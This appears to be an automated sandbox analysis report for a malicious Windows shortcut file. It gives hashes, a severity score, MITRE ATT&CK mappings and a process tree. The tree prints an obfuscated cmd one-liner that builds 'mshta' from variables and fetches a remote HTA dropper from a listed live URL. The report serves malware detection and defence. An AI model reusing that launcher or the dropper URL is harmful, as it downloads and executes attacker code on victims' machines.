95ead7ba9956075b2d8626dd418cbc3caac84e2395f815364a6c0e14c54afe4c

Analysis

max time kernel
60s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 15:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-0OD1FS.lnk
Size 1KB
Sample260818-seckbawsdz
SHA256 95ead7ba9956075b2d8626dd418cbc3caac84e2395f815364a6c0e14c54afe4c
MD5 76a28255b0ef41f3b92f3e916a891007
SHA1 cb7bebf64cbc436441a07cb8b6c0203718f92681
SHA512 0f1942ed84615417b9d42a99f784a92be8a740f91c6f317f7e4965fe49683bfc7c4bf70b7cc92e6634964d0d1c423f069c1859dfe7e9980bf92abbbed6234446
TLSH
T1383147103EFD0664F3F39F7784BB57109ABBB8968D20CA1D4180864C5472A01E67BF6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6012	cmd.exe
4872	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 6012 wrote to memory of 4872	6012	cmd.exe	90
PID 4872 wrote to memory of 4996	4872	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-0OD1FS.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6012
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set JLK=msh&&set ydiw=ta&&start "" !JLK!!ydiw! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4872
- - C:\Windows\System32\mshta.exe
    mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:4996

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads